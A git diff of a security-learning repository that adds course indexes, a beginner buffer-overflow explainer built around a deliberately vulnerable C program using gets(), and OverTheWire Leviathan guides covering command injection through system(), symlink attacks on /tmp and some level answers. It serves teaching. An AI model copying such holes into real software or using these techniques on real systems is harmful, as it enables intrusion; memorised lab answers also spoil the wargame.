diff --git a/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md b/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
index 70fa3e8..559b59c 100644
--- a/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
+++ b/docs/konu_anlatimlari/x86_assembly/20_buradan_nereye.md
@@ -63,7 +63,9 @@ _start:
Gördüğün gibi **kavram** hiç değişmedi — "register'a değer koy, numarayı `rax`'e yaz, çağır." Sadece isimler ve birkaç sayı farklı. 32-bit'i anladıysan, 64-bit'e geçiş bir öğleden sonralık iş.
-> 🔑 64-bit, öğrendiğinin **büyümüş hâli:** `e__` register'lar `r__` olur (+ `r8`–`r15`), `int 0x80` yerine `syscall`, çağrı numaraları değişir. Kavramlar (register, stack, çağrı sözleşmesi, syscall) aynı. 32-bit sağlam temelse, 64-bit sadece yeni bir lehçe.
+(Tek gerçek *yeni alışkanlık* şu: 64-bit'te bir **fonksiyona** argümanları — 16'da yaptığın gibi stack'e `push`'layıp `[ebp+8]`'den okumak yerine — doğrudan **register'lara** (`rdi`, `rsi`, `rdx`...) koyarsın. Yani 16'nın `[ebp+8]` stack-argüman modeli 32-bit cdecl'e özgüdür; 64-bit bir fonksiyonun içinde `[ebp+8]` görmezsin — tersine mühendislikte bunu bileceksin. Yukarıdaki tablodaki *syscall* argümanlarının register'da olması da zaten aynı mantığın bir örneği.)
+
+> 🔑 64-bit, öğrendiğinin **büyümüş hâli:** `e__` register'lar `r__` olur (+ `r8`–`r15`), `int 0x80` yerine `syscall`, çağrı numaraları değişir. Kavramların çoğu (register, stack, syscall) aynı; çağrı sözleşmesinin **fikri** de aynı — tek gerçek fark, fonksiyon argümanlarının stack yerine **register**'a geçmesi. 32-bit sağlam temelse, 64-bit sadece yeni bir lehçe.
---
Natas04 / 08
+ Natas04 / 09
Web security — HTTP, source-code analysis, SQL injection, XSS and more. Played in the browser.
4/10
Difficulty
Learn Linux and security by watching the te
- Narnia05 / 08
+ Narnia05 / 09
Binary exploitation — buffer overflow, format string and basic exploit development. Requires reading assembly.
6/10Difficulty
@@ -180,7 +180,7 @@ Learn Linux and security by watching the te
- Behemoth06 / 08
+ Behemoth06 / 09
Intermediate binary exploitation. More complex scenarios than Narnia, ASLR and various protections.
7/10Difficulty
@@ -196,7 +196,7 @@ Learn Linux and security by watching the te
- Utumno07 / 08
+ Utumno07 / 09
Advanced binary exploitation. Minimum hints, maximum difficulty — for experienced exploit developers only.
9/10Difficulty
@@ -212,7 +212,7 @@ Learn Linux and security by watching the te
- Maze08 / 08
+ Maze08 / 09
Mixed binary exploitation & RE — a different vulnerability class each level: TOCTOU, library hijack, self-modifying code, FSOP, ELF parser, format string. A capstone after Behemoth + Utumno.
5/10Difficulty
@@ -226,6 +226,22 @@ Learn Linux and security by watching the te
+
+
+ Vortex09 / 09
+ A broad lab that begins with network/socket programming and walks the entire classic binary-exploitation curriculum — endianness, overflow, format string, heap, ret2libc/ROP, then cryptanalysis + RE/keygen. Source isn't given at most levels.
+
+ 6/10Difficulty
+ 27Levels
+
+
+ endiannessoverflowformat stringheap/ROPcrypto/RE
+
+ vortex.labs...:2228
+ writeups →
+
+
+
@@ -246,9 +262,17 @@ Learn Linux and security by watching the te
▸linux_commands/file system · text processing · networking · permissions · processes · git
7 topics
+
+ ▸switches_to_computer/ 🚧switch → NAND → gates → adder; build the processor from its parts
+ 8 modules · in progress
+
+
+ ▸x86_assembly/assembly from scratch · machine model · arithmetic · flow · stack · functions · syscalls · C bridge
+ 25 modules
+
▸binary_exploitation/x86 assembly → format string → ROP → GOT/PLT → protections
- 22 modules
+ 23 modules
▸web_security/HTTP · source & devtools · cookies · injection · deserialization
@@ -260,7 +284,7 @@ Learn Linux and security by watching the te
▸leviathan_commands/binary analysis · gdb · ltrace/strace · symlink · brute force
- 6 topics
+ 8 topics
diff --git a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
index 944b101..b2aa504 100644
--- a/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
+++ b/docs/eng/konu_anlatimlari/KONU_ANLATIMLARI.md
@@ -22,6 +22,8 @@
| File | Commands / Concepts |
|---|---|
+| [before_you_start.md](./leviathan_komutlari/before_you_start.md) | Before starting Leviathan: SSH connection, how the game works, prerequisites, the recon reflex |
+| [what_leviathan_teaches.md](./leviathan_komutlari/what_leviathan_teaches.md) | What Leviathan teaches: info disclosure, command injection, symlink/TOCTOU, encoding≠security, level→concept map |
| [file_permissions_suid.md](./leviathan_komutlari/file_permissions_suid.md) | `chmod` `find -perm` `whoami` `SUID` privilege escalation |
| [binary_analysis.md](./leviathan_komutlari/binary_analysis.md) | `file` `strings` `xxd` `od` binary→ASCII |
| [ltrace_strace.md](./leviathan_komutlari/ltrace_strace.md) | `ltrace` `strace` `strcmp` `fopen` `access` `system` |
@@ -70,12 +72,65 @@
---
+## 🔌 From Switches to a Computer (NAND to CPU)
+
+> 🚧 **This course is still being written** — it grew out of the NandGame journey; right now it's written from switch/relay up to the **Full Adder** (00–06). The rest (multi-bit adder, ALU, memory, clock, control unit) will be added as the journey continues.
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) — for people who want to learn the processor not by asking "what is it?" but by **building it from its parts**. It's the sibling and the floor beneath the x86 course: there you learn to give the worker orders, here you build the worker from transistors.
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./salterden_bilgisayara/00_buradan_basla.md) | Course map; the journey from switches to a CPU |
+| [01_akim_salter_role.md](./salterden_bilgisayara/01_akim_salter_role.md) | Current, switch, relay — the first "logic" |
+| [02_nanddan_kapilar.md](./salterden_bilgisayara/02_nanddan_kapilar.md) | NAND is universal: deriving NOT/AND/OR/XOR |
+| [03_xor_iki_fedai.md](./salterden_bilgisayara/03_xor_iki_fedai.md) | Building XOR — "the two workhorses" (OR + NAND + AND) |
+| [03.5_soyutlama_merdiveni.md](./salterden_bilgisayara/03.5_soyutlama_merdiveni.md) | A gate = a closed box; climbing one floor up |
+| [04_teller_sayi_olunca.md](./salterden_bilgisayara/04_teller_sayi_olunca.md) | Assigning value to wires; the token logic |
+| [05_half_adder.md](./salterden_bilgisayara/05_half_adder.md) | XOR+AND = the seed of addition (sum + carry) |
+| [06_full_adder.md](./salterden_bilgisayara/06_full_adder.md) | a+b+carry-in; two half adders = the skeleton of an ALU |
+
+---
+## ⚙️ x86 Assembly (from scratch)
+
+> ✅ **This course is complete (00–20).** From the machine model up through arithmetic · control flow (jmp/loops) · the stack · functions · system calls · the C bridge; **every program in it was verified by running it on a real machine.**
+>
+> 🧭 **New to this?** → [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) — for people who want to learn assembly truly from scratch, *by writing it*. It's the deep groundwork for Binary Exploitation ("first learn to give the worker orders, then learn to bend the order").
+
+| File | Topics |
+|---|---|
+| [00_buradan_basla.md](./x86_assembly/00_buradan_basla.md) | Course map, mental model, how to study |
+| [01_bilgisayar_nedir.md](./x86_assembly/01_bilgisayar_nedir.md) | Numbered boxes + a worker; what "running" means |
+| [02_terminal_ile_tanisma.md](./x86_assembly/02_terminal_ile_tanisma.md) | The terminal, typing commands, reading output |
+| [03_sayilar_ikilik_onaltilik.md](./x86_assembly/03_sayilar_ikilik_onaltilik.md) | Binary/hex — counting the way the machine counts |
+| [04_bellek_ve_registerlar.md](./x86_assembly/04_bellek_ve_registerlar.md) | Memory (boxes) + registers (the worker's hands); AL/AH/EAX |
+| [05_kurulum_ve_ilk_program.md](./x86_assembly/05_kurulum_ve_ilk_program.md) | Installing nasm/ld/gdb, the write→assemble→run chain |
+| [06_ilk_gercek_program.md](./x86_assembly/06_ilk_gercek_program.md) | A value into a register with `mov`, exit code, `echo $?` |
+| [07_gdb_tek_adim.md](./x86_assembly/07_gdb_tek_adim.md) | Single-stepping in GDB (`starti` / `si`), watching registers live, `eip` |
+| [08_mov_ve_bellek.md](./x86_assembly/08_mov_ve_bellek.md) | `[...]` memory addressing, `section .data`, load/store, the first pointer follow (`[ebx]`) |
+| [08.5_little_endian.md](./x86_assembly/08.5_little_endian.md) | Looking at memory byte by byte; the "exactly reversed" byte order (little-endian) |
+| [09_aritmetik.md](./x86_assembly/09_aritmetik.md) | `add`/`sub`/`inc`/`dec`; two's complement (negative numbers); the whole load-compute-store dance |
+| [10_bayraklar_ve_cmp.md](./x86_assembly/10_bayraklar_ve_cmp.md) | Flags (ZF/SF), `cmp` and `test`; the raw material of a decision |
+| [11_ziplamalar.md](./x86_assembly/11_ziplamalar.md) | `jmp`/`jz`/`jnz`/`jl`/`jg`; breaking the straight flow, the even-odd program |
+| [12_donguler.md](./x86_assembly/12_donguler.md) | Backward jump + counter = a loop; sum 1..N, multiplication by repeated addition |
+| [13_bit_islemleri.md](./x86_assembly/13_bit_islemleri.md) | `and`/`or`/`xor`/`shl`/`shr`; `xor eax,eax`=zero it; `test`=`and` |
+| [14_stack.md](./x86_assembly/14_stack.md) | `push`/`pop`, `esp`, LIFO; why the stack grows down (the worker's notepad) |
+| [15_call_ve_ret.md](./x86_assembly/15_call_ve_ret.md) | Functions, the return address; `call`=`push`+`jmp`, `ret`=`pop` |
+| [16_calling_convention.md](./x86_assembly/16_calling_convention.md) | cdecl: passing arguments, return value, the `ebp` anchor, prologue/epilogue |
+| [17_sistem_cagrilari.md](./x86_assembly/17_sistem_cagrilari.md) | `int 0x80`, syscall numbers; "Hello World" on screen (the `sys_exit` debt is paid) |
+| [18_ilk_etkilesimli_program.md](./x86_assembly/18_ilk_etkilesimli_program.md) | `sys_read` + `section .bss`; an interactive program that asks your name and greets you |
+| [19_c_ile_assembly_koprusu.md](./x86_assembly/19_c_ile_assembly_koprusu.md) | Seeing familiar patterns in compiled code with `gcc -S` (`x*8`→`shl`) |
+| [20_buradan_nereye.md](./x86_assembly/20_buradan_nereye.md) | Moving to 64-bit, reverse engineering, binary exploitation, further resources |
+
+*(The interludes 01.5 / 04.5 / 05.5 are linked inside the course. The series is complete: 00–20.)*
+
+---
## 💥 Binary Exploitation
> 🧭 **New to this?** Start here → [00_buradan_basla.md](./binary_exploitation/00_buradan_basla.md) — an intro for people who don't know assembly: minimum instruction dictionary, the little-endian trap, an end-to-end first exploit, and the reading order.
| File | Topics |
|---|---|
+| [00a_assembly_bilmeden_giris.md](./binary_exploitation/00a_assembly_bilmeden_giris.md) | Getting started without assembly: minimum instruction dictionary, an end-to-end first exploit |
| [00_x86_assembly_temelleri.md](./binary_exploitation/00_x86_assembly_temelleri.md) | Registers, data types, MOV/LEA/arithmetic, PUSH/POP, CALL/RET, calling convention, prologue/epilogue |
| [00b_gdb_ile_assembly_okumak.md](./binary_exploitation/00b_gdb_ile_assembly_okumak.md) | Assembly→C method, common patterns (memset/memcpy/strlen/switch), GDB command reference |
| [01_bellek_ve_memory_layout.md](./binary_exploitation/01_bellek_ve_memory_layout.md) | Stack layout, variable adjacency, buffer overflow logic, `x/20wx $esp` |
diff --git a/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
new file mode 100644
index 0000000..3f4b5b8
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/binary_exploitation/00a_assembly_bilmeden_giris.md
@@ -0,0 +1,106 @@
+# 👶 The Logic of Binary Exploitation (Pwn) Without Knowing Assembly
+
+If you have never seen Assembly before, "Binary Exploitation" (or Pwn) can feel very intimidating. Most resources start straight away with registers (EAX, EBP) and hex addresses.
+
+However, **you do not need to know Assembly to grasp the logic**. It is enough to understand, at a basic level, how the C programming language works with memory (RAM).
+
+This guide was prepared so that even someone who knows no Assembly at all can understand the logic of **Buffer Overflow**, the most fundamental vulnerability in Binary Exploitation.
+
+> 🧭 **Note:** This is deliberately the "quick start without asm" path. As you will see below (and as you progress line by line), modern protections and ROP will eventually require assembly — at that point, if you want a solid foundation from scratch → **[x86 Assembly course](../x86_assembly/00_buradan_basla.md)** *(in progress)*.
+
+---
+
+## 📚 An Analogy From Real Life: The Box and the Diary
+
+Imagine there are two boxes standing side by side on your desk.
+1. **Left Box (Name Box):** Just big enough to hold a name card of 5 letters.
+2. **Right Box (Secret Diary):** A very secret diary, with "ONLY THE OWNER MAY READ" written on it.
+
+They ask you to write your name and put it in the Left Box. The box can hold 5 letters, but you try to cram in a card that says "Abdurrahman" (11 letters).
+
+What happens?
+Because the card is too long, it does not fit in the Left Box, it overflows, and the tip of the card **goes into the Right Box (the Secret Diary)**. If you wrote a special keyword on that overflowing part of the card, you have accidentally (or deliberately) unlocked the Secret Diary!
+
+This is exactly what **Buffer Overflow** is. The programmer reserved a spot of 5 letters for you, you send 100 letters into it, and the overflowing letters get written over very critical data in the memory (RAM) that the program had reserved for other purposes.
+
+---
+
+## 💻 Let's See It Through Code (Only C, No Assembly)
+
+Let's look at this simple program written in C:
+
+```c
+#include
+#include
+
+int main() {
+ int sifre_dogru_mu = 0; // Right Box: Initially 0 (False)
+ char isim_kutusu[5]; // Left Box: Only room for 5 characters
+
+ printf("Enter your name: ");
+ gets(isim_kutusu); // GET INPUT FROM THE USER (THE VULNERABILITY IS HERE!)
+
+ if (sifre_dogru_mu != 0) {
+ printf("HACK SUCCESSFUL! You have accessed the secret information.\n");
+ } else {
+ printf("You only entered a name, login failed.\n");
+ }
+
+ return 0;
+}
+```
+
+### Where Is the Vulnerability?
+The `gets()` function is extremely dangerous because it does not ask the user **"How many letters will you enter?"** It just reads everything the user typed and starts writing it into the spot named `isim_kutusu` (a 5-letter spot).
+
+### What Happens in Memory (RAM)?
+Variables sit side by side in memory:
+`[ isim_kutusu (5 byte) ] [ sifre_dogru_mu (4 byte) ]`
+
+**Scenario 1: Normal Use**
+You entered "Ali" as your name.
+Memory looks like this:
+`[ A | l | i | \0 | empty ] [ 0 | 0 | 0 | 0 ]`
+Result: `sifre_dogru_mu` is still 0. Hack failed.
+
+**Scenario 2: Hacker Attack (Buffer Overflow)**
+You entered "AAAAAAAAA" (9 A's) as your name.
+Memory takes 5 letters, and the rest **overflows** and gets written over the variable next to it!
+`[ A | A | A | A | A ] [ A | A | A | A ]`
+
+Now the inside of the `sifre_dogru_mu` variable is no longer 0, but filled with 'A' letters (numbers, in computer terms)! Since the value is now different from 0, the `if (sifre_dogru_mu != 0)` condition is satisfied and:
+👉 **"HACK BASARILI! Gizli bilgilere eristiniz."**
+
+Just like that, without knowing Assembly, simply by knowing that variables sit side by side and that one can overflow and crush the other, we understood our first vulnerability!
+
+---
+
+## 🛠️ Can You Learn Pwn Without Knowing Assembly?
+
+In the beginning, **yes** — you can find vulnerabilities by understanding the high-level logic (the C code). However, to get past modern protections (ASLR, NX, Canary) and to use more advanced techniques like "Return Oriented Programming (ROP)", you need to know how the program runs in machine language (on the CPU).
+
+**Good News:** You do not need to learn Assembly well enough to "write" it. It is enough to know how to "read it and understand what it means" (especially what pointers like EIP/RIP are for).
+
+### Learning Strategy
+1. **Learn C First:** Pointers, arrays, and memory management.
+2. **Use a Decompiler:** Tools like Ghidra turn Assembly code back into C code (or into something very close to it). This way you don't have to read Assembly.
+3. **Use Pwntools:** A library that makes writing exploits with Python very easy. It does the low-level byte calculations for you.
+4. **Learn Assembly Along the Way:** When you come across a `mov` or `cmp` instruction you don't know, just look up what that instruction does at that moment. Don't try to memorize everything up front.
+
+---
+
+## 🔗 Resources for Beginners That Require No / Little Assembly
+
+Here are resources that explain the theory in a fun and practical way, without drowning you in details:
+
+1. **picoCTF (Pwn Category):**
+ - It is the world's best beginner CTF. The first questions in the "Binary Exploitation" category (for example `buffer overflow 0` or `stonks`) come with the source code. They ask you to find and exploit vulnerabilities in the C code.
+2. **LiveOverflow (YouTube):**
+ - The "Binary Exploitation / Memory Corruption" playlist is legendary. It explains topics with really nice animations and drawings. It is perfect for grasping the logic of the work.
+3. **Nightmare (GitHub Book):**
+ - A great resource that works through CTF questions. It explains step by step, starting from the simplest buffer overflow.
+4. **Pwn College:**
+ - A free platform prepared by ASU (Arizona State University). It lets you learn entirely through hands-on practice from the terminal.
+
+---
+**Next Step:** If you understood the logic above, you can continue from the `01_bellek_ve_memory_layout.md` file in this folder.
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
new file mode 100644
index 0000000..f2c8cae
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/before_you_start.md
@@ -0,0 +1,127 @@
+# Before You Start — Leviathan Prerequisites
+
+> Everything you need to know before sitting down at the Leviathan lab: the logic of the game, how to connect, what fundamentals you need, and what kind of exploration reflex you should build in the very first shell you open.
+
+---
+
+## What is Leviathan?
+
+Leviathan is an **entry-level** wargame on the [OverTheWire](https://overthewire.org/wargames/leviathan/) site. Unlike Narnia/Behemoth, it doesn't teach you to write exploits; it teaches you **basic Linux skills, file permissions, SUID logic, and simple reverse engineering**. There are 8 levels (leviathan0 → leviathan7), and most levels are solved in 5–15 minutes.
+
+There are no hints/theory — each level only gives you a user and a directory; you find the rest by exploring.
+
+---
+
+## How the game works
+
+The common rule across all OverTheWire games is this:
+
+```
+Each level is about capturing the password of the NEXT level.
+```
+
+- You log in as `leviathan0`, and your goal is to find the `leviathan1` password.
+- The password always sits here:
+
+```bash
+/etc/leviathan_pass/leviathan
+```
+
+- Only the `leviathanN` user can read this file. You are `leviathan(N-1)` → you can't `cat` it directly.
+- So, using a **SUID program** in the home directory or a misconfiguration, you escalate to `leviathanN` privileges, then read the password.
+
+---
+
+## How do you connect? (SSH)
+
+```bash
+ssh leviathan0@leviathan.labs.overthewire.org -p 2223
+```
+
+| Part | Value |
+|---|---|
+| User | `leviathan0` (first level) |
+| Server | `leviathan.labs.overthewire.org` |
+| Port | `2223` |
+| Starting password | `leviathan0` |
+
+Once you solve a level and find the next password, you exit (`exit`) and reconnect as the next user up:
+
+```bash
+ssh leviathan1@leviathan.labs.overthewire.org -p 2223 # with the password you found
+```
+
+> **Note:** When you type the password it won't appear on screen (this is normal). When you copy-paste, watch out for leading/trailing whitespace.
+
+---
+
+## What fundamentals do you need?
+
+Knowing the topics below is enough. For each one there is a separate topic writeup in this folder:
+
+| Need | Why it's needed | Topic file |
+|---|---|---|
+| **Navigating the terminal** (`ls -la`, `cd`, `cat`, `pwd`) | Exploring directories, seeing hidden files | [linux_komutlari/dosya_sistemi.md](../linux_komutlari/dosya_sistemi.md) |
+| **Text searching** (`grep`, `strings`) | Finding a leaked password inside a file | [linux_komutlari/metin_isleme.md](../linux_komutlari/metin_isleme.md) |
+| **File permissions & SUID** | The whole logic of the game rests on this | [file_permissions_suid.md](./file_permissions_suid.md) |
+| **Binary recognition** (`file`, `xxd`, binary→ASCII) | Figuring out whether a program is 32/64-bit and decoding its output | [binary_analysis.md](./binary_analysis.md) |
+| **Dynamic analysis** (`ltrace`, `strace`) | Seeing which password the program compares against | [ltrace_strace.md](./ltrace_strace.md) |
+| **Static analysis** (`gdb`, `objdump`) | Reading embedded constants/code | [gdb.md](./gdb.md) |
+| **Symbolic links** (`ln -s`) | Redirecting the file the program reads | [symbolic_links.md](./symbolic_links.md) |
+| **Bash loops & brute force** | Trying short codes/PINs | [brute_force_bash.md](./brute_force_bash.md) |
+
+> All of these tools are **already installed on the server** (`ltrace`, `strace`, `gdb`, `objdump`, `strings`, `file` are present). You don't need to install anything on your own machine; just an SSH client is enough.
+
+---
+
+## The exploration reflex in the first shell you open
+
+Every time you enter a new level, apply these steps without thinking:
+
+```bash
+# 1) Where am I, who am I?
+pwd; id; whoami
+
+# 2) What's IN the home directory? (including hidden files — the most critical command)
+ls -la
+
+# 3) If there's an interesting file/binary, learn its type
+file
+
+# 4) If it's a binary: run it, see what it wants; then trace it with ltrace
+./
+ltrace ./
+
+# 5) If there's a text/backup file, search inside it for a secret
+grep -i -E 'pass|key|secret'
+```
+
+The **hidden files** in `ls -la` (like `.backup`, `.trash`) and the **SUID bit** (`-r-s...`) are almost always the key to the solution.
+
+---
+
+## Safe working habits
+
+- Create temporary files in your own space: open a private directory with `cd /tmp && mktemp -d`.
+- Clean up the symlinks/files you create when you're done (`rm`), so they don't break your next attempt.
+- When you find a password, **note it down somewhere** (but per OTW rules, don't share it publicly).
+
+---
+
+## Summary
+
+| Question | Answer |
+|---|---|
+| What's the goal? | At each level, find the next user's password |
+| Where's the password? | `/etc/leviathan_pass/leviathan` |
+| How do I read it? | Escalate privileges with a SUID binary / misconfiguration |
+| How do I connect? | `ssh leviathanN@leviathan.labs.overthewire.org -p 2223` |
+| What do I do first? | `ls -la` → look for hidden files & SUID, inspect with `file`/`ltrace` |
+
+---
+
+## 🔗 Related Topics
+
+- 👉 **What Leviathan teaches:** [what_leviathan_teaches.md](./what_leviathan_teaches.md)
+- Solutions: [../../overthewire/leviathan/](../../overthewire/leviathan/) (`leviathan N -> M` files)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
new file mode 100644
index 0000000..78c4dd2
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/leviathan_komutlari/what_leviathan_teaches.md
@@ -0,0 +1,132 @@
+# What Does Leviathan Teach Us?
+
+> More than exploit writing, Leviathan teaches the **everyday language of local privilege escalation**: the classic ways of going from a "low-privilege user" to a "privileged user" on a system. Below is each lesson, together with the level where it appears and its real-world counterpart.
+
+---
+
+## The Big Picture
+
+The whole of Leviathan can be summarized in a single sentence:
+
+> **Abusing input/a file/a behavior that a program trusts, through that program's privilege (SUID).**
+
+Every level is a different variation of this idea. What you learn is not commands; it's **how to look at a target** — the reflex of seeing what counts as an "attack surface."
+
+---
+
+## Lesson 1 — Information Disclosure
+**Level:** leviathan0
+
+The password was embedded in plain text inside a backup file (`.backup/bookmarks.html`). Sensitive data had been left forgotten in an accessible file with a "we'll fix it later" note.
+
+- **Attack reflex:** Reveal hidden files with `ls -la`, scan for secrets with `grep -i pass`.
+- **Real world:** API keys that slipped into Git history, passwords in log files, credentials left in comment lines.
+- **Defense:** Don't embed secrets in code/backups; use a secret manager, tighten permissions, clean the history.
+
+🔗 Solution: [leviathan 0 -> 1](../../overthewire/leviathan/leviathan%200%20-%3E%201.md)
+
+---
+
+## Lesson 2 — Finding an Embedded Secret with Dynamic Analysis
+**Level:** leviathan1, leviathan3
+
+The programs asked for a password, but they had hardcoded the password inside the binary (`strcmp(input, "sex")`, `strcmp(input, "snlprintf")`). Tracing the library calls with `ltrace` revealed the password instantly.
+
+- **Attack reflex:** Before diving into reverse engineering, observe with `ltrace`/`strace`. Most "hidden" comparisons show up there.
+- **Real world:** API keys embedded in mobile apps/firmware, license checks, "secret" comparisons.
+- **Defense:** "Security through obscurity" is not security. Do authentication on the server side, with a hash + constant-time comparison.
+
+🔗 Solutions: [leviathan 1 -> 2](../../overthewire/leviathan/leviathan%201%20-%3E%202.md) · [leviathan 3 -> 4](../../overthewire/leviathan/leviathan%203%20-%3E%204.md)
+
+---
+
+## Lesson 3 — Command & Argument Injection (`system()`)
+**Level:** leviathan2
+
+The `printfile` program checked its access with `access()`, then printed the file with `system("/bin/cat " + argv[1])`. Because the shell **splits the filename on whitespace**, it became possible to inject an extra argument; moreover, `access` and `cat` interpreted the same string differently.
+
+- **Attack reflex:** If user input flows into a shell command, try injection with whitespace / `;` / `|` / `$()`.
+- **Real world:** **OS command injection** (CWE-78) on the web — this is the exact same logic as the most common and dangerous form of that class.
+- **Defense:** Instead of `system()`/`popen()`, pass arguments **separately** with `execv()`; never embed user input into a shell as a string.
+
+🔗 Solution: [leviathan 2 -> 3](../../overthewire/leviathan/leviathan%202%20-%3E%203.md)
+
+---
+
+## Lesson 4 — Encoding ≠ Encryption
+**Level:** leviathan4
+
+`.trash/bin` printed the password as binary ASCII, in the form `00110000 01100100 ...`. This is not encryption, just a **representation (encoding)**; converting the bits in groups of 8 to ASCII was enough.
+
+- **Attack reflex:** With "unreadable" output like 0/1, base64, hex, try decoding first — most of it is just encoding.
+- **Real world:** Tokens "hidden" with base64, hex dumps, URL-encoded data.
+- **Defense:** Encoding data does not hide it. If you genuinely need secrecy, you need encryption (and key management).
+
+🔗 Solution: [leviathan 4 -> 5](../../overthewire/leviathan/leviathan%204%20-%3E%205.md)
+
+---
+
+## Lesson 5 — Symbolic Link Attack & Insecure `/tmp`
+**Level:** leviathan5
+
+The `leviathan5` program opened and printed a fixed path (`/tmp/file.log`) with leviathan6's privilege, but **didn't check what the file was**. When we made that path a symlink to the password file, the program read the password for us.
+
+- **Attack reflex:** If a privileged program uses a **predictable** filename in `/tmp`, redirect it to your target with a symlink.
+- **Real world:** **Symlink following / insecure temporary file** (CWE-59) — here there isn't even a check; the symlink is followed directly. (If an `access()` check had come in between, the check↔use race = **TOCTOU**, CWE-367.) Both are the basis of many local privesc CVEs.
+- **Defense:** `O_NOFOLLOW`, per-user secure directories, `mkstemp`, and dropping privilege before the work (`setresuid`).
+
+🔗 Solution: [leviathan 5 -> 6](../../overthewire/leviathan/leviathan%205%20-%3E%206.md)
+
+---
+
+## Lesson 6 — Static Analysis & Weak Secrets
+**Level:** leviathan6
+
+`leviathan6` asked for a 4-digit PIN. There were two ways: either **brute force** 0000–9999, or read the compared constant directly with `objdump` (`mov [ebp-0xc], 0x1bd3` before `cmp [ebp-0xc], eax` = 7123). Static analysis gave the answer in seconds.
+
+- **Attack reflex:** If the search space is small, brute force; if you have the binary, read the constant with `objdump`/`gdb`.
+- **Real world:** Short PINs, predictable tokens, "magic" values embedded in the binary.
+- **Defense:** Don't put secrets in the binary as immediates; rate-limit PINs and validate them on the server.
+
+🔗 Solution: [leviathan 6 -> 7](../../overthewire/leviathan/leviathan%206%20-%3E%207.md)
+
+---
+
+## Level → Concept Map
+
+| Level | Vulnerability class | Key tool |
+|---|---|---|
+| 0 → 1 | Information disclosure | `ls -la`, `grep` |
+| 1 → 2 | Embedded secret + dynamic analysis | `ltrace` |
+| 2 → 3 | Argument/command injection (`system`) | logic + `ltrace` |
+| 3 → 4 | Embedded secret + dynamic analysis | `ltrace` |
+| 4 → 5 | Encoding ≠ encryption | binary→ASCII |
+| 5 → 6 | Symlink following + insecure `/tmp` | `ln -s` |
+| 6 → 7 | Weak secret (brute / static analysis) | `objdump`, `for` loop |
+
+---
+
+## High-Level Takeaways
+
+1. **SUID is powerful but dangerous.** Every program that runs with privilege can be exploited through every input/file/behavior it trusts. Narrow the attack surface, drop privilege early.
+2. **Security ≠ obscurity.** An embedded password, encoded data, a short PIN — none of them is protection.
+3. **Observe first, then solve.** The sequence `ls -la` → `file` → `ltrace`/`objdump` solves most of the levels on its own.
+4. **The same mistakes are everywhere.** The command injection, TOCTOU and info-disclosure lessons here are exact miniatures of the most common security vulnerability classes in the web and in real systems.
+
+---
+
+## What's Next?
+
+Leviathan gave you the fundamentals. The next steps:
+
+- **Behemoth** — buffer overflow and more serious memory errors.
+- **Narnia** — the beginning of exploit development (shellcode, EIP control).
+- If you want to move on to the fundamentals of memory exploitation: [../binary_exploitation/00_x86_assembly_temelleri.md](../binary_exploitation/00_x86_assembly_temelleri.md)
+
+---
+
+## 🔗 Related Topics
+
+- 👈 **Before you start — background knowledge:** [before_you_start.md](./before_you_start.md)
+- Technical references: [file_permissions_suid.md](./file_permissions_suid.md) · [ltrace_strace.md](./ltrace_strace.md) · [symbolic_links.md](./symbolic_links.md) · [gdb.md](./gdb.md) · [binary_analysis.md](./binary_analysis.md) · [brute_force_bash.md](./brute_force_bash.md)
+- Full topic index: [../KONU_ANLATIMLARI.md](../KONU_ANLATIMLARI.md)
diff --git a/docs/eng/konu_anlatimlari/linux_komutlari/git.md b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
index 20aa31e..6d1901a 100644
--- a/docs/eng/konu_anlatimlari/linux_komutlari/git.md
+++ b/docs/eng/konu_anlatimlari/linux_komutlari/git.md
@@ -187,7 +187,7 @@ index ...
+++ b/README.md
@@ -4,3 +4,3 @@
username: natas9
--password: ← OLD (removed)
+-password: ← OLD (removed)
+password: xxxxxxxxxx ← NEW (added)
```
diff --git a/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
new file mode 100644
index 0000000..c986901
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/salterden_bilgisayara/00_buradan_basla.md
@@ -0,0 +1,197 @@
+# 🧭 From Switches to a Computer — Start Here (Truly From Scratch)
+
+> The phone in your pocket has billions of transistors inside it. That number looks
+> terrifying — until you learn this secret: **they are all repetitions of the same simple part.**
+> This series won't explain the computer to you; it will **make you build it.** We'll start
+> from a single switch that turns on and off, and gate by gate, floor by floor, you will
+> build every part with your own hands, all the way up to a working computer.
+
+> **Who is this series for?** For everyone. You don't need to know electronics, you don't
+> need to have written code, you don't even need to remember high-school physics. The only
+> prerequisite is accepting this sentence: *"electricity flows through a wire, and a button
+> opens or cuts it off."* We'll build the rest together.
+
+---
+
+## 📋 Table of Contents
+
+- [What This Series Is NOT](#what-this-series-is-not)
+- [First, Let's Break the Fear](#first-lets-break-the-fear)
+- [One Tool: NandGame](#one-tool-nandgame)
+- [What Will You Be Able to Do in the End?](#what-will-you-be-able-to-do-in-the-end)
+- [The Big Picture: Why Do We Start From the Switch?](#the-big-picture-why-do-we-start-from-the-switch)
+- [Roadmap — Lesson by Lesson](#roadmap--lesson-by-lesson)
+- [How Should You Study?](#how-should-you-study)
+- [Sister Series: x86 Assembly](#sister-series-x86-assembly)
+
